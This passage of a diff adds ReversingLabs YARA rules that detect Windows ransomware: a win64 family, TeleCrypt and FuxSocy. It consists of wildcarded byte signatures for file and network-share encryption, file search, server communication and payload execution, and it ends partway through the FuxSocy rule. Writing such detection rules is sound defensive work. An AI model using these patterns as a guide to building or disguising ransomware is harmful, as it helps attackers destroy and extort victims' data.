+            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 90 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C
+            8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B D0 48 8D
+            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D
+            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D
+            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D 84 24 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48
+            8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D
+            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B
+        }
+		$encrypt_network_shares_win64_p2 = {
+            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            90 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ??
+            ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 8C
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 90 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ??
+            ?? 48 C7 44 24 ?? ?? ?? ?? ?? EB ?? 48 8B 44 24 ?? 48 FF C0 48 89 44 24 ?? 48 8D 8C
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 39 44 24 ?? 73 ?? 48 83 7C 24 ?? ?? 76 ?? 33 D2
+            48 8B 44 24 ?? B9 ?? ?? ?? ?? 48 F7 F1 48 8B C2 48 85 C0 75 ?? 41 B9 ?? ?? ?? ?? 4C
+        }
+		$encrypt_network_shares_win64_p3 = {
+            8D 05 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 44
+            24 ?? 48 FF C0 48 89 44 24 ?? EB ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ??
+            ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 54 24 ?? 48 8D 8C 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ??
+            48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 90 48 8B C8 E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ??
+            E8 ?? ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ??
+            ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B C8 E8 ?? ?? ?? ?? 90 4C 8B
+            C0 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 C6 44 24 ?? ?? 48 8D 8C 24 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? EB ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            90 32 C0 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 90 48 81 C4 ?? ?? ?? ?? C3
+        }
+		$find_files_win64 = {
+            48 89 5C 24 ?? 55 56 57 41 56 41 57 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33
+            C4 48 89 84 24 ?? ?? ?? ?? 4D 8B F0 49 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B E9 48 3B D1
+            74 ?? 0F B7 02 66 83 E8 ?? 66 83 F8 ?? 77 ?? 0F B7 C0 49 0F A3 C0 72 ?? 48 83 EA ??
+            48 3B D5 75 ?? 0F B7 0A 66 83 F9 ?? 75 ?? 48 8D 45 ?? 48 3B D0 74 ?? 4D 8B CE 45 33
+            C0 33 D2 48 8B CD E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 66 83 E9 ?? 33 FF 66 83 F9 ?? 77 ??
+            0F B7 C1 49 0F A3 C0 B0 ?? 72 ?? 40 8A C7 48 2B D5 48 8D 4C 24 ?? 48 D1 FA 41 B8 ??
+            ?? ?? ?? 48 FF C2 F6 D8 4D 1B FF 4C 23 FA 33 D2 E8 ?? ?? ?? ?? 45 33 C9 89 7C 24 ??
+            4C 8D 44 24 ?? 48 89 7C 24 ?? 33 D2 48 8B CD FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ??
+            75 ?? 4D 8B CE 45 33 C0 33 D2 48 8B CD E8 ?? ?? ?? ?? 8B F8 48 83 FB ?? 74 ?? 48 8B
+            CB FF 15 ?? ?? ?? ?? 8B C7 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 8B 9C
+            24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 5F 5E 5D C3 49 8B 76 ?? 49 2B 36 48
+            C1 FE ?? 66 83 7C 24 ?? ?? 75 ?? 66 39 7C 24 ?? 74 ?? 66 83 7C 24 ?? ?? 75 ?? 66 39
+            7C 24 ?? 74 ?? 4D 8B CE 48 8D 4C 24 ?? 4D 8B C7 48 8B D5 E8 ?? ?? ?? ?? 85 C0 75 ??
+            48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 75 ?? 49 8B 06 49 8B 56 ?? 48 2B D0
+            48 C1 FA ?? 48 3B F2 0F 84 ?? ?? ?? ?? 48 2B D6 48 8D 0C F0 4C 8D 0D ?? ?? ?? ?? 41
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($find_files_win64) and ( all of ($encrypt_files_win64_p*)) and ( all of ($encrypt_network_shares_win64_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Telecrypt : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects TeleCrypt ransomware."
+		author = "ReversingLabs"
+		id = "c4eada2d-72c0-5efe-bf2b-8f053348d89d"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.TeleCrypt.yara#L1-L109"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "9d856eae4369cd7ba1d88bd6ef37931e069127e2c05a84a44f5274f681e83fc0"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "TeleCrypt"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_file = {
+            57 E8 ?? ?? ?? ?? 89 03 EB ?? 6A ?? E8 ?? ?? ?? ?? 89 03 66 83 BB ?? ?? ?? ?? ?? 0F
+            85 ?? ?? ?? ?? 8B 03 50 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 66 81 7B ?? ?? ?? 75 ?? E8 ??
+            ?? ?? ?? 66 89 83 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 89 83 ?? ?? ?? ?? E9
+            ?? ?? ?? ?? 0F B7 05 ?? ?? ?? ?? 66 89 83 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 43 ?? ?? ??
+            ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 6A ?? 6A ?? 50 8D 43 ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 75
+            ?? 66 C7 43 ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 E9 ?? ?? ?? ?? 89 03 66 81 7B ?? ?? ?? 0F
+            85 ?? ?? ?? ?? 66 C7 43 ?? ?? ?? 6A ?? 8B 03 50 E8 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ??
+            8B C3 E8 ?? ?? ?? ?? 8B F0 E9 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 85 FF 7D ?? 33 FF 6A ??
+            6A ?? 57 8B 03 50 E8 ?? ?? ?? ?? 40 74 ?? 6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 83
+            ?? ?? ?? ?? 50 8B 03 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B C3 E8 ?? ?? ?? ?? 8B F0 E9 ??
+            ?? ?? ?? F6 43 ?? ?? 74 ?? 83 3C 24 ?? 76 ?? 8B 14 24 4A 85 D2 72 ?? 42 33 FF 8D 83
+            ?? ?? ?? ?? 80 38 ?? 75 ?? 6A ?? 6A ?? 8B C7 2B 44 24 ?? 50 8B 03 50 E8 ?? ?? ?? ??
+            40 74 ?? 8B 03 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B C3 E8 ?? ?? ?? ?? 8B F0 EB ?? 47 40
+            4A 75 ?? 66 83 BB ?? ?? ?? ?? ?? 75 ?? 0F B7 05 ?? ?? ?? ?? 66 89 83 ?? ?? ?? ?? 66
+            81 7B ?? ?? ?? 74 ?? 8B 03 50 E8
+        }
+		$server_communication = {
+            6A ?? 8D 45 ?? 50 8B 45 ?? 8B 80 ?? ?? ?? ?? 33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A
+            ?? 8D 45 ?? 50 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ??
+            8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 80 ?? ?? ?? ??
+            33 C9 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? B2 ?? A1 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 33 DB 8B CB B8 ?? ?? ??
+            ?? D3 E0 85 F0 74 ?? 8D 45 ?? 8B D3 66 83 C2 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? 8B 08 FF 51 ?? 43 83 FB ?? 75 ?? A1 ?? ??
+            ?? ?? 8B 10 FF 52 ?? 8B F0 4E 85 F6 7C ?? 46 33 DB 8D 4D ?? 8B D3 A1 ?? ?? ?? ?? 8B
+            38 FF 57 ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 43 4E 75 ?? A1 ?? ?? ?? ?? 8B 10
+            FF 52 ?? 8B F0 4E 85 F6 7C ?? 46 33 DB 6A ?? 6A ?? 8D 4D ?? 8B D3 A1 ?? ?? ?? ?? 8B
+            38 FF 57 ?? 8B 45 ?? 8B 0D ?? ?? ?? ?? 33 D2 E8 ?? ?? ?? ?? 43 4E 75 ?? 8D 55 ?? B8
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ??
+            ?? ?? 8B 08 FF 91 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 8B 80 ?? ?? ?? ?? 33 C9 BA
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55
+            ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8
+        }
+		$server_communication_1 = {
+            55 8B EC 33 C9 51 51 51 51 51 53 8B D8 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 6A
+            ?? 8D 45 ?? 50 33 C9 BA ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 45 ??
+            50 8D 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 91 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ??
+            ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 33 C9 8B 83 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 33 D2 8B 83 ?? ?? ?? ?? 8B 08 FF 91 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+        }
+		$exec_payload = {
+            55 68 ?? ?? ?? ?? 64 FF 32 64 89 22 8B 4D ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ??
+            E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 55 ?? 33 C0 E8 ?? ?? ?? ??
+            8B 45 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? C3
+        }
+		$copy_payload = {
+            55 8B EC 6A ?? 6A ?? 6A ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? B8 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? B2 ?? E8 ??
+            ?? ?? ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? 6A ?? 8D 55 ?? B8 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50
+            8D 55 ?? 33 C0 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59
+            59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+        }
+		$generate_strings_to_encrypt = {
+            0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ??
+            E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D
+            85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ??
+            ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ??
+            ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ??
+            ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45
+            ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50
+            8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ??
+            ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ??
+            ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ??
+            ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B
+            45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ??
+            50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95
+            ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9
+            ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ??
+            ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ??
+            8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8
+        }
+
+	condition:
+		uint16(0)==0x5A4D and (($generate_strings_to_encrypt and $encrypt_file and $server_communication and $exec_payload) or ($encrypt_file and $server_communication_1 and $copy_payload))
+}
+rule REVERSINGLABS_Win32_Ransomware_Fuxsocy : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects FuxSocy ransomware."
+		author = "ReversingLabs"
+		id = "f4a45469-9d51-523f-8238-c7044f353cf6"
+		date = "2021-03-01"
+		modified = "2021-03-01"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.FuxSocy.yara#L1-L114"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "8b3c04eb5d60fcc82e47cb8e78da0a98642666546d6799baef24b56926e3aceb"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "FuxSocy"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_1 = {
+            83 EC ?? 53 55 57 89 54 24 ?? 8B 54 24 ?? 51 33 DB E8 ?? ?? ?? ?? 8B E8 59 85 ED 0F
+            84 ?? ?? ?? ?? 8B 44 24 ?? 89 5C 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B CB E9
+            ?? ?? ?? ?? 53 53 FF 74 24 ?? 41 FF 74 24 ?? BF ?? ?? ?? ?? FF 74 24 ?? 3B C7 0F 42
+            F8 2B C7 89 4C 24 ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 53 8D 44 24 ?? 50 57 FF 74 24 ??
+            FF 74 24 ?? FF 15 ?? ?? ?? ?? 57 FF 74 24 ?? 8D 54 24 ?? 8D 4C 24 ?? E8 ?? ?? ?? ??
+            59 59 57 8D 44 24 ?? 50 FF 74 24 ?? 33 C0 39 44 24 ?? 53 0F 94 C0 89 7C 24 ?? 50 53
+            55 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 53 FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? FF 15 ??
+            ?? ?? ?? 53 8D 44 24 ?? 50 57 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 01 7C 24 ??
+            8B 4C 24 ?? 11 5C 24 ?? F6 C1 ?? 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B 44 24
+            ?? 85 C0 0F 85 ?? ?? ?? ?? EB ?? 88 5C 24 ?? FF 74 24 ?? 8B 54 24 ?? 8B 4C 24 ?? E8
+            ?? ?? ?? ?? 59 8B 4C 24 ?? 55 89 41 ?? FF 15 ?? ?? ?? ?? 8A 5C 24 ?? 5F 5D 8A C3 5B
+            83 C4 ?? C3
+        }
+		$encrypt_files_2 = {
+            83 EC ?? 53 55 56 8B 74 24 ?? 8B C1 8B 36 57 89 54 24 ?? 89 44 24 ?? E8 ?? ?? ?? ??
+            8B F8 33 D2 8D 5F ?? 8B C6 F7 F3 33 C9 85 D2 0F 95 C1 89 54 24 ?? 33 D2 03 C8 89 4C
+            24 ?? 0F AF CF 89 4C 24 ?? E8 ?? ?? ?? ?? 8B E8 89 6C 24 ?? 85 ED 0F 84 ?? ?? ?? ??
+            33 D2 8B CF E8 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 83 64 24 ?? ??
+            48 89 6C 24 ?? 89 44 24 ?? 74 ?? 53 FF 74 24 ?? 89 5C 24 ?? 56 E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 44 24 ?? 57 50 56 33 C0 50 50 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
+            ?? ?? ?? 33 C9 85 FF 74 ?? 8B 54 24 ?? 8D 6E ?? 03 EF 8A 45 ?? 4D 88 04 11 41 3B CF
+            72 ?? 8B 6C 24 ?? 8B 44 24 ?? 03 44 24 ?? 01 5C 24 ?? 89 44 24 ?? 8B 44 24 ?? 40 89
+            44 24 ?? 3B 44 24 ?? 72 ?? 8B 44 24 ?? 85 C0 0F 45 D8 53 FF 74 24 ?? 89 5C 24 ?? 56
+            E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 57 50 56 6A ?? 6A ?? 6A ?? FF 74 24 ?? FF 15 ??
+            ?? ?? ?? 8B D8 F7 DB 1A DB 80 E3 ?? 33 C9 85 FF 74 ?? 8B 6C 24 ?? 8D 56 ?? 03 D7 8A
+            02 4A 88 04 29 41 3B CF 72 ?? 8B 6C 24 ?? 8B CE E8 ?? ?? ?? ?? 84 DB 75 ?? 8B CD E8
+            ?? ?? ?? ?? 33 ED EB ?? 32 DB EB ?? 8B 4C 24 ?? 8B 44 24 ?? 89 01 5F 5E 8B C5 5D 5B
+            83 C4 ?? C3
+        }
+		$find_files_1 = {
+            81 EC ?? ?? ?? ?? 53 56 57 8B BC 24 ?? ?? ?? ?? 8B F2 89 74 24 ?? 8B D9 85 FF 0F 84
+            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B D7 C1 E2 ?? 8B
+            CE E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0
+            0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D3 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 84 C0
+            0F 84 ?? ?? ?? ?? 55 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D
+            44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B E8
+            83 FD ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8B 44
+            24 ?? 83 E0 ?? 74 ?? F6 84 24 ?? ?? ?? ?? ?? 75 ?? 85 C0 75 ?? F6 84 24 ?? ?? ?? ??
+            ?? 74 ?? 33 F6 85 FF 74 ?? 8B 44 24 ?? FF 34 B0 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85
+            C0 75 ?? 46 3B F7 72 ?? EB ?? FF B4 24 ?? ?? ?? ?? 8D 44 24 ?? 50 53 FF 94 24 ?? ??
+            ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 74 ?? FF B4 24 ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 8B 74 24 ?? F6 44 24 ?? ?? 74 ?? F6 84 24 ?? ?? ?? ?? ?? 74
+            ?? 8D 44 24 ?? 50 8B D3 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 84 C0 74 ?? 83 BC 24
+            ?? ?? ?? ?? ?? 74 ?? FF B4 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B
+            D6 FF B4 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ??
+            ?? FF B4 24 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 55 FF 15 ?? ?? ??
+            ?? 85 C0 0F 85 ?? ?? ?? ?? EB ?? 83 64 24 ?? ?? 55 FF 15 ?? ?? ?? ?? 5D 5F 5E 5B 81
+            C4 ?? ?? ?? ?? C3
